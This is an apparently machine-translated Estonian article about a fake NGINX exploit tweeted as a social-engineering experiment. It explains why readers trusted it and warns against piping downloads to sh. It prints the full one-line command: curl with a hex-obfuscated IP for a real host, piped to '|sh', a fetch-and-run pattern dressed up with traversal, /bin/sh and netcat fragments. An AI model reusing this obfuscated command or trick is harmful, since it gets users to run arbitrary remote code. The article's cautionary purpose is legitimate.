Sotsiaalse eksperimendi edu vale Nginx'i ekspluateerimisega

Märk. tõlge.: Timur Gilmullin originali märkuse, mis avaldati 1. juunil, otsustas läbi viia eksperimendi infotehnoloogia huviliste seas. Selleks valmistas ta vale eksploiteerimise avastamata haavatavusele veebiserveris ja postitas selle oma Twitterisse. Tema eeldused — et spetsialistid, kes näevad koode ilmselget petmist, löövad ta hetkega paljastama — ei lihtsalt ei õigustanud end... Need ületasid kõik ootused, ja vastupidiselt: tweet sai tohutu toetuse paljude inimeste poolt, kes ei kontrollinud tema sisu.

TL;DR: Ärge mingil juhul kasutage failide torustamist sh või bash's. See on suurepärane viis arvuti kontrolli kaotamiseks.

Soovin jagada teiega väikest lugu naljakast PoC-exploitist, mis loodi 31. mail. See tuli kiiresti vastusena uudisele Alisa Esage Ševtšenko, liige Zero Day Initiative (ZDI), et varsti avaldatakse teave NGINX-i haavatavuse kohta, mis viib RCE (koodide kaugelt täitmine). Kuna NGINX on paljude veebisaitide aluseks, pidi uudis olema nagu pomm. Kuid teabe «vastutustundliku avalikustamise» protsessi viivituste tõttu ei olnud toimunud juhtumi üksikasjad teada - see on ZDI tavaline protseduur.

Tviit NGINX-i haavatavuse avalikustamisest

Lõpetades uue curl'i obfuskeermistehnika arendamise, tsiteerisin algset tviiti ja «lekkisin töötava PoC», mis koosnes ühest koodireast, mis väidetavalt kasutas avastatud haavatavust. Loomulikult oli see täielik jama. Olin kindel, et mind paljastatakse kohe ja et parimal juhul saan paar retviiti (ja siis mis seal ikka).

Tviit vale ekspluateerimisega

Kuid ma ei suutnud ette kujutada, mis edasi juhtuma hakkas. Minu tviidi populaarsus tõusis taevasse. Üllataval kombel ei ole siiani (1. juuni kell 15:00 Moskva aja järgi) paljud isegi aru saanud, et see on vale. Paljud retviitivad seda ilma igasuguse kontrollita (rääkimata kaunite ASCII-graafikate nautimisest, mida see välja prindib).

Vaata, kui ilus see on!

Isegi kui kõik need tsüklid ja värvid on hämmastavad, on selge, et neid näha, pidi inimene koodi oma masinas käivitama. Õnneks töötavad brauserid sarnaselt ning arvestades, et seadusprobleemid ei ole mulle vajalikud, tegi kood, mis oli mu saidil peidetud, lihtsalt echo-kutseid, ilma et prooviks käivitada või installida mingit lisakoodi.

Väike kõrvalepõige: netspooky, dnz, mina ja teised mehed tiimist Thugcrowd oleme juba mõnda aega katsetanud erinevaid viise curl-käskude obfutseerimiseks, sest see on lahe... ja me oleme geegid. netspooky ja dnz leidsid mõned uued viisid, mis tundusid mulle äärmiselt paljutõotavad. Liitusin lõbusa seltskonnaga ja proovisin IP-dekdecimal muundamisi trikkide komplekti lisada. Selgus, et IP-sid saab ka kuusnurkadesse konverteerida. Veelgi enam, curl ja enamik teisi NIX-tööriistu võtavad heameelega „söömiseks“ kuusnurkseid IP-sid! Seega oli vajalik lihtsalt luua usutav ja turvaliselt näiv käsurea käsk. Lõpuks jäin selle juurde:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sotsiaalne elektroonika inseneriteadus (S.E.E.) — rohkem kui lihtsalt phishing

Turvalisus ja harjumus olid eksperimendi keskse koostisosana. Arvan, et need just aitasid kaasa selle edule. Kommando rida viitas selgelt turvalisusele, viidates „127.0.0.1” (tuntud localhost). Arvatakse, et localhost on turvaline ja selle andmed ei lahku kunagi teie arvutist.

Harjumus oli teine oluline S.E.E. komponent eksperimendis. Kuna sihtrühm koosnes peamiselt inimestest, kes on tuttavad arvutiturvalisuse põhialustega, oli oluline luua selline kood, mille osad näivad tuttavad ja harjumuspärased (seega turvalised). Vanade ekspluateerimisideede elementide laenamine ja nende ebatavaline kombineerimine osutus väga edukaks.

Allpool on üksikasjalik ülevaade ühe realisest koodi näitest. Kogu see nimekiri on kosmeetilise iseloomuga, ja selle tõhusaks toimimiseks ei ole praktiliselt midagi vajalik.

Millised koostisosad on tõeliselt vajalikud? Need on -gsS, -O 0x0238f06a, |sh ning veebiserver. Veebiserver ei sisaldanud ühtegi pahatahtlikku käsku, vaid edastas lihtsalt ASCII graafikat käskude kaudu echo skriptis, mis sisaldub index.html. Kui kasutaja sisestas rea, kus on |sh keskel, index.html laaditi ja viidi ellu. Õnneks ei olnud veebiserveri hooldajatel halbu kavatsusi.

• ../../../%00 — kujutab väljapääsu kataloogist;
• ngx_stream_module.so — tee juhuslikku NGINX moodulisse;
• /bin/sh%00<'protocol:TCP' — me justkui käivitame /bin/sh sihtmasinas ja suuname väljundi TCP-kanalisse;
• -O 0x0238f06a#PLToffset — salajane koostisosa, millele on lisatud #PLToffset, et näida nagu mälu nihke, mis mingil moel sisalduks PLT-s;
• |sh; — veel üks oluline fragment. Me pidime suunama väljundi sh/bashi, et käivitada kood, mis tuli ründava veebiserveri aadressilt 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost — valekarp, kuhu netcat viitab /dev/tcp/localhost, et kõik näiks jälle ohutu. Tegelikult ei tee see midagi ja on lisatud rida ilusaks.

Sellega lõppeb ühe reaga skripti tõlgendamine ja "sotsiaalne elektroonika" (peente küberrünnakute) aspektide arutelu.

Veebiserveri seadistus ja vastumeetmed

Kuna enamus minu jälgijatest on infokaitsjad/häkkerid, otsustasin teha veebiserverist veidi vastupidavama nende huvi ilmingute suhtes, et neil oleks millegagi tegeleda (ja selle seadistamine oli ka lahe). Ma ei plaani siin loetleda kõiki lõkse, kuna eksperiment on jätkuvalt käimas, aga siin on mõned asjad, mida server teeb:

• Jälgib aktiivselt katseid levitada teatud sotsiaalmeedias ja asendab erinevaid eelvaate minipilte, et julgustada kasutajat klikkima lingil.
• Suunab Chrome'i/Mozilla/Safari jne promoklipi Thugcrowd'i, selle asemel et näidata shell'i skripti.
• Jälgib ILMSISED sissetungi/röövimise tunnusjooned, mille järel hakkab suunama päringuid NSA serveritesse (ha!).
• Installeerib trooja ning BIOS rootkiti kõikidele arvutitele, mille kasutajad külastavad hosti tavabrauserist (nali!).

Väike osa antimeetrist

Sellest lähtudes oli minu ainus eesmärk õppida mõned Apache'i võimalused — eriti lahedad päringute suunamisreeglid — ja mõtlesin: miks ka mitte?

NGINX eksploit (tõeline!)

Jälgi @alisaesage Twitteris ja vaata ZDI imelise töö jälgimist, et kõrvaldada tõeliselt olulisi haavatavusi ja eksploitatsiooni võimalusi NGINX-is. Nende töö on mind alati lummanud ja olen tänulik Alicemale kõigi mainimiste ja teavituste kannatlikkuse eest, mis tulenes minu rumalast tweet'ist. Õnneks tõi see ka pisut kasu: aitas tõsta teadlikkust NGINX-i haavatavustest ja curl'i väärkasutuse põhjustatud probleemidest.

Allikas: habr.com